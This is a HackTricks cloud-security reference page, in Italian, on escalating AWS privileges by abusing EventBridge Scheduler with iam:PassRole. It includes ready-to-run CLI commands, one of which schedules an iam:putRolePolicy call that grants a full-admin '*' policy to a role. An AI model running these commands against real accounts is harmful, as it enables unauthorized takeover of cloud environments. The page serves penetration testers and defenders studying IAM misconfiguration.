AWS - EventBridge Scheduler Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

EventBridge Scheduler

EventBridge Scheduler può essere utilizzato per l'escalation dei privilegi programmando chiamate a vari servizi AWS. Sfruttando la sua capacità di invocare servizi su base programmata, gli utenti con permessi sufficienti possono elevare i privilegi. Ecco alcune delle azioni chiave che EventBridge Scheduler può attivare utilizzando obiettivi predefiniti:

• Lambda: lambda:InvokeFunction - Invocare funzioni Lambda su un programma.

• CodeBuild: codebuild:StartBuild - Avviare progetti AWS CodeBuild.

• CodePipeline: codepipeline:StartPipelineExecution - Attivare esecuzioni di AWS CodePipeline.

• ECS: ecs:RunTask - Eseguire attività ECS.

• EventBridge: events:PutEvents - Inserire eventi in EventBridge.

• Inspector: inspector:StartAssessmentRun - Avviare valutazioni di Amazon Inspector.

• Kinesis: kinesis:PutRecord - Inserire record nei flussi Kinesis.

• Firehose: firehose:PutRecord - Inserire record nei flussi di consegna Firehose.

• SageMaker: sagemaker:StartPipelineExecution - Avviare esecuzioni di pipeline SageMaker.

• SNS: sns:Publish - Pubblicare messaggi nei temi SNS.

• SQS: sqs:SendMessage - Inviare messaggi alle code SQS.

• Step Functions: states:StartExecution - Avviare esecuzioni di AWS Step Functions.

Queste sono solo alcune delle azioni predefinite che EventBridge Scheduler può eseguire. Tuttavia, utilizzando obiettivi universali, molte altre azioni attraverso i servizi AWS possono essere invocate. Gli obiettivi universali consentono operazioni API più ampie oltre l'elenco predefinito.

Maggiore info EventBridge Scheduler in:

AWS - EventBridge Scheduler Enum

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

Gli utenti con permessi sts:AssumeRole, iam:PassRole e scheduler:CreateSchedule o scheduler:UpdateSchedule possono elevare i privilegi sfruttando l'EventBridge Scheduler per invocare servizi utilizzando un ruolo con privilegi superiori.

Con questi permessi, un attaccante può assumere un ruolo con privilegi elevati e passare quel ruolo all'EventBridge Scheduler quando crea o aggiorna un programma. Il programma può essere configurato per eseguire qualsiasi delle azioni elencate in precedenza, come invocare funzioni Lambda, avviare attività ECS, attivare esecuzioni di CodePipeline, o qualsiasi operazione dei 270 servizi AWS supportati da EventBridge Scheduler. Programmando queste azioni, un attaccante potrebbe abusare di privilegi superiori per eseguire operazioni non autorizzate attraverso i servizi AWS. \

Ad esempio, potrebbero configurare il programma per invocare una funzione Lambda che è un'azione predefinita:

aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

In aggiunta alle azioni di servizio templated, puoi utilizzare obiettivi universali in EventBridge Scheduler per invocare una vasta gamma di operazioni API per molti servizi AWS. Gli obiettivi universali offrono flessibilità per invocare quasi qualsiasi API. Un esempio può essere l'uso di obiettivi universali aggiungendo "AdminAccessPolicy", utilizzando un ruolo che ha la policy "putRolePolicy":

aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

Riferimenti

• https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html

• https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html

Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.